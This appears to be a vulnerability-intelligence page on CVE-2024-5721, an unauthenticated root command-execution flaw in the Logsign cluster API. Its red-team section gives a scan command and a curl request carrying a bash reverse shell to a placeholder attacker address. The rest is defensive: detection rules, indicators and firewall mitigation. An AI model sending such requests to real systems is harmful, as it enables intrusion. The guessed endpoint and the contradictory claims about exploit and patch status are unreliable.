☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-306
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5721

CVE-2024-5721 Remote Code Execution in Logsign
📅 PUBLISHED: 2024-11-22 20:05 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 63.15%
👁️
63.15% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5721 is a critical, unauthenticated remote code execution (RCE) vulnerability in the Logsign Unified SecOps Platform. The flaw resides in the cluster HTTP API, which listens on TCP port 1924. By sending crafted requests to this API without any authentication, an attacker can execute arbitrary commands with root privileges. The vulnerability has a CVSS score of 8.1 (High) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, but the risk is elevated due to the lack of authentication and the high privileges granted upon exploitation. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 8.1 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
  • Confidentiality Impact: High (C:H) – Full system compromise.
  • Integrity Impact: High (I:H) – Arbitrary code execution.
  • Availability Impact: High (A:H) – Potential denial of service or full control.

Threat Level: Critical. The combination of remote exploitability, no authentication, and root-level code execution makes this a high-priority threat for any organization using Logsign Unified SecOps Platform.

Deep Dive & Mechanics

The vulnerability exists in the cluster HTTP API of Logsign Unified SecOps Platform. This API is designed for internal cluster communication but is exposed on TCP port 1924. The core issue is a missing authentication check: the API does not verify the identity of the requester before processing requests. An attacker can send arbitrary HTTP requests to this endpoint, which are then executed with root privileges.

Technical Details:

  • Affected Component: Cluster HTTP API (listening on port 1924).
  • Root Cause: Lack of authentication middleware or access control checks.
  • Exploitation Mechanism: The API likely exposes endpoints for cluster management, such as adding/removing nodes, executing commands, or modifying configurations. Without authentication, an attacker can invoke these endpoints directly.
  • Impact: Full remote code execution as root, leading to complete compromise of the Logsign platform and potentially the underlying host.

Attack Scenario:

  1. An attacker scans for exposed port 1924 on the internet or internal network.
  2. The attacker sends a crafted HTTP request to the cluster API (e.g., POST to /cluster/execute with a command payload).
  3. The API processes the request without authentication, executing the command as root.
  4. The attacker gains a root shell or installs backdoors.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code likely lacks an authentication check similar to:

# Vulnerable code (pseudocode)
@app.route('/cluster/execute', methods=['POST'])
def execute_command():
    command = request.json.get('command')
    # No authentication check
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout

A patched version would include authentication:

# Patched code (pseudocode)
@app.route('/cluster/execute', methods=['POST'])
@require_authentication  # e.g., token or certificate validation
def execute_command():
    command = request.json.get('command')
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable Logsign Unified SecOps Platform instance (version unknown) on a VM.
  2. Ensure the cluster HTTP API is enabled and listening on port 1924.
  3. Use a tool like curl or netcat to interact with the API.

Exploitation Steps:

  1. Scan for the service: nmap -p 1924 <target_ip>
  2. Send a crafted request to execute a command (e.g., reverse shell):
    curl -X POST http://<target_ip>:1924/cluster/execute \
      -H "Content-Type: application/json" \
      -d '{"command": "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"}'
    
  3. Listen for the reverse shell on attacker machine: nc -lvnp 4444

Note: No public exploit code is available; this is a hypothetical exploitation based on the vulnerability description.

Blue Team

Detection:

  • Monitor for connections to port 1924 from unexpected sources.
  • Look for unusual HTTP requests to the cluster API (e.g., POST requests with JSON payloads containing shell commands).
  • Use the detection rules provided in the Detection Engineering section.

Hunting:

  • Search logs for authentication failures or missing authentication events on the cluster API.
  • Check for processes spawned by the Logsign service that are not typical (e.g., bash, nc, python).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Inbound connections to TCP port 1924 from external IPs.
    • HTTP POST requests to /cluster/execute or similar endpoints.
    • Outbound connections from the Logsign server to unknown IPs on common ports (e.g., 4444, 8080).
  • File IOCs:

    • Unexpected files in /tmp/ or /var/tmp/ (e.g., reverse shell scripts).
    • Modified system binaries or cron jobs.
  • Process IOCs:

    • Processes like bash, sh, nc, python spawned by the Logsign service.
    • Unusual child processes of the Logsign main process.

Detection Engineering

YARA Rule

rule CVE_2024_5721_Logsign_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-5721 in Logsign Unified SecOps Platform"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5721"
    strings:
        $s1 = "/cluster/execute" ascii wide nocase
        $s2 = "command" ascii wide nocase
        $s3 = "bash" ascii wide nocase
        $s4 = "reverse" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: Logsign Cluster API Unauthenticated Command Execution
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Logsign cluster API without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: logsign
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cluster/execute'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate cluster management (if authentication is enabled)
level: critical

Suricata Rule

alert tcp any any -> any 1924 (msg:"CVE-2024-5721 Logsign Cluster API Unauthenticated RCE"; flow:to_server,established; content:"POST"; http_method; content:"/cluster/execute"; http_uri; content:"command"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the cluster HTTP API if not required. This can be done by stopping the associated service or blocking port 1924 at the firewall.
  2. Restrict network access to port 1924 to only trusted IPs using firewall rules or network segmentation.
  3. Monitor logs for any suspicious activity on port 1924.

Long-term Fix:

  • Since no patch is available, consider migrating to an alternative platform or implementing a reverse proxy with authentication (e.g., Nginx with basic auth) in front of the cluster API.
  • Contact Logsign for an official patch or workaround.

Workaround:

  • Use iptables to drop incoming traffic to port 1924:
    iptables -A INPUT -p tcp --dport 1924 -j DROP
    

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

port:1924 Logsign
Logsign Unified SecOps Platform

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
⚡ METASPLOIT MODULE RAPID7 FRAMEWORK 1 MODULE AVAILABLE

This CVE has ready-to-use modules in the Metasploit Framework — the industry-standard penetration testing platform used by security teams worldwide. Presence of an MSF module significantly increases real-world exploitation risk.

exploit Logsign Remote Command Injection Great VIEW ↗
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5721/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.